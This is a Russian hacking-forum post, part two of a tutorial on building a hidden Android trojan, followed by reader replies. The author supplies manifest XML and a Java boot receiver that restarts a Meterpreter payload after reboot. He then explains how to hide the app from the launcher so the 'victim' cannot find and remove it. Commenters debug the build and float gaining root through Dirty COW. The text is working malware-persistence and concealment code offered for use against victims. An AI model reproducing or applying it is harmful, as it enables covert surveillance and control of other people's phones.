• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Собираем скрытый троян на Andrroid(persistance) Часть II

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 098
BIT
0
Сегодня продолжим собирать скрытый троян на Android.

Прежде чем приступить к прочтению данной статьи настоятельно рекомендую прочитать подготовительную статью о настройках payload и как собирать подписанное апк приложения в android studio из исходников.
Собираем скрытый троян на Andrroid(persistance) Часть I

Этап 1 (Создаем ресивер)

И так после того как мы научились с вами собирать нашего вредоноса,плавно перейдем к тому моменту,когда нужно что бы наш троян запускался после перезагрузки андроид устройства.
Первым делом добавим в AndroidManifest.xml ресивер который будет запускаться после удачного запуска устройства и запускать класс StartOnBoot,который мы допишем немножко позже.
Добавим следующие строки в AndroidManifest.xml после закрывающего тега </service>
Код:
<receiver android:name="com.darknode.darknode.StartOnBoot">
     android:label="Start On Boot">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED">
                </action>
            </intent-filter>
</receiver>
1.png


Этап 2 ( Создаем класс StartOnBoot)

Дальше создаем класс StartOnBoot в нашем проекте который будет запускаться после запуска устройства.

Добавляем туда следующий контент:
Код:
package com.darknode.darknode;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

/**
* Created by CorpOfHack on 20.11.2016.
*/
public class StartOnBoot extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if(Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
            Intent DarkNodeIntent = new Intent(context,MyIntentService.class);
            DarkNodeIntent.addFlags(intent.FLAG_ACTIVITY_NEW_TASK);
            context.startService(DarkNodeIntent);
        }
    }
}
2.png

3.png


Далее подписываем,собираем,тестируем.
Как видим после перезагрузки телефона,к нам прилетает сессия метерпретер.
Но приложения видно в списке приложений лаунчера. По этому если жертва что то заподозрит то она
его просто удалит и сессия закроется.Нам это же конечно не нужно и мы переходит к 3-му этапу.

Этап 3 ( Делаем приложения невидимым)
А делается это очень и очень просто.
Нам всего лишь нужно будет удалить активити в AndroidManifest.xml

Для этого просто удалим следующий контент из AndroidManifest.xml:
Код:
<activity
        android:name="com.darknode.darknode.MainActivity"
        android:label="@string/app_name"
        android:theme="@android:style/Theme.NoDisplay" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
</activity>
5.png

6.png


И собрать наш апк файл без активити.
7.png

Тестируем)
8.jpg

Как видим после перезапуска телефона к нам прилетела метерпретер сессия и приложения не видно в списке приложений лаунчера.
Всем спасибо за внимания.С вами был DarkNode) Надеюсь кому то понравилось
 
Последнее редактирование:
M

MAdDog719

прочитал первую часть, собрал, работает, прочитал вторую, собрал, не работает. Устанавливается приложения и на этом все.

~~DarkNode~~ отзовись, не работает троянчик, после выполнения действий второй части, устанавливается приложения и на этом все, сессии нет, в запущенных программах нет.
 
Последнее редактирование модератором:
  • Нравится
Реакции: xxxcrow
X

xxxcrow

~~DarkNode~~ отзовись, не работает троянчик, после выполнения действий второй части, устанавливается приложения и на этом все, сессии нет, в запущенных программах нет.
проверь порты и ip
(и честно, бывает метерпретер глючит, часто бывает)

кстати, автор, есть идеи как сделать приложение системным? ;)
еще есть идея получения рута через dirty cow
 
Последнее редактирование модератором:
  • Нравится
Реакции: <~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 098
BIT
0
кстати, автор, есть идеи как сделать приложение системным? ;)
еще есть идея получения рута через dirty cow
Думаю дело времени.)

кстати, автор, есть идеи как сделать приложение системным? ;)
еще есть идея получения рута через dirty cow
На счет коровки на arm процессорах - не знаю, не тестилось пока. В случаи успеха я отпишу.
 
Последнее редактирование модератором:
X

xxxcrow

Думаю дело времени.)
давай вместе.. делать... ну как делать, просто будешь мне скидывать что получается :D
прост хотелось бы сделать,
(ваще круто было бы, вот есть шелл же, и установить тихо через шел,
и если оно еще и системное, или получает права рут, без уведомлений и прочего
то это самый крутой трой будет, и самый скрытный(и в правду скрытный, а то в итоге вот этих двух уроков его же в списке приложений видно, и как стороннее))
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 098
BIT
0
~~DarkNode~~ отзовись, не работает троянчик, после выполнения действий второй части, устанавливается приложения и на этом все, сессии нет, в запущенных программах нет.
Будем разбиратся) Просто у меня много материала на различные тематики ,которого я планирую изложить в своих постах.И есть две проблемки:
1)Физически отсудствие нужного к-тва времени
2)Каждая новая созданая тема пораждает еще ряд вопросов.
По этому я прошу отнестись с пониманием.У всех есть своя личная жизь,заботы,основная работа и т.д.
Я искренне хочу уделять внимания каждому,но не всегда получается)
Так что я буду стараться писать материал,и так же отвечать на вопросы по мере возможности)
;)
 
  • Нравится
Реакции: sam_po_sebe
X

xxxcrow

Будем разбиратся) Просто у меня много материала на различные тематики ,которого я планирую изложить в своих постах.И есть две проблемки:
1)Физически отсудствие нужного к-тва времени
2)Каждая новая созданая тема пораждает еще ряд вопросов.
По этому я прошу отнестись с пониманием.У всех есть своя личная жизь,заботы,основная работа и т.д.
Я искренне хочу уделять внимания каждому,но не всегда получается)
Так что я буду стараться писать материал,и так же отвечать на вопросы по мере возможности)
;)
кстати, это нормально что приложение по этому туториалу,
не могу никуда зайти, ну команда cd , потом cd sdcard допустим, не пускает
 
W

Web_start

кстати, это нормально что приложение по этому туториалу,
не могу никуда зайти, ну команда cd , потом cd sdcard допустим, не пускает
Скорее всего это разграничение прав доступа, и ПО имеет доступ лишь к тем директория на которым оно запрашивало доступ
 
X

xxxcrow

Скорее всего это разграничение прав доступа, и ПО имеет доступ лишь к тем директория на которым оно запрашивало доступ
ну так то это логично,
просто это же нагрузка
и в метерпретере есть команды эти, а значит и должно вроде как иметь доступ
 

Bunder99

Green Team
19.04.2017
20
12
BIT
2
Почитываю старые статьи на форуме, решил руками пройти этот путь и столкнулся с проблемой:
Нам всего лишь нужно будет удалить активити в AndroidManifest.xml
Всё удалив, подписываю и ставлю приложение на реальный телефон. После установки не могу его никак запустить (ярлыков нет, как мы и хотели, кнопка ОТКРЫТЬ после установки неактивна), соответственно и сессия не прилетает... Прогуглил весь инет, но с моими знаниями Android-разработки что-то дельное придумать не получилось... Задача стоит так: запустить приложение после установки, получить сессию и дальше оно должно быть невидимым как и писал ~~DarkNode~~. Если кто поможет советом-буду признателен)
 
  • Нравится
Реакции: Darius
D

Darius

Почитываю старые статьи на форуме, решил руками пройти этот путь и столкнулся с проблемой:

Всё удалив, подписываю и ставлю приложение на реальный телефон. После установки не могу его никак запустить (ярлыков нет, как мы и хотели, кнопка ОТКРЫТЬ после установки неактивна), соответственно и сессия не прилетает... Прогуглил весь инет, но с моими знаниями Android-разработки что-то дельное придумать не получилось... Задача стоит так: запустить приложение после установки, получить сессию и дальше оно должно быть невидимым как и писал ~~DarkNode~~. Если кто поможет советом-буду признателен)

Значит пробуй компилировать и тестировать на своем телефоне после каждого небольшого изменения в коде. имхо начнешь с того что точно работает - найдешь участок который не работает, а значит есть отправная точка для обдумываний ;)
 

Bunder99

Green Team
19.04.2017
20
12
BIT
2
Значит пробуй компилировать и тестировать на своем телефоне после каждого небольшого изменения в коде. имхо начнешь с того что точно работает - найдешь участок который не работает, а значит есть отправная точка для обдумываний ;)
Да я весь этот путь уже прошел, дело как раз в удаляемых activity, кучу вариаций перепробовал, но результат все равно тот же самый... нужно не удалять полностью activity, а каким-то образом изменить, что у меня как раз не получается... Очень бы хотел погрузиться в азы Android-разработки, но времени не хватает катастрофически(
 
  • Нравится
Реакции: Vityun4a
V

Vityun4a

Этап 3 ( Делаем приложения невидимым)
А делается это очень и очень просто.
Нам всего лишь нужно будет удалить активити в AndroidManifest.xml
После удаление Активити не хочет компилироваться !!! Говорит нужно значение Активити default
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!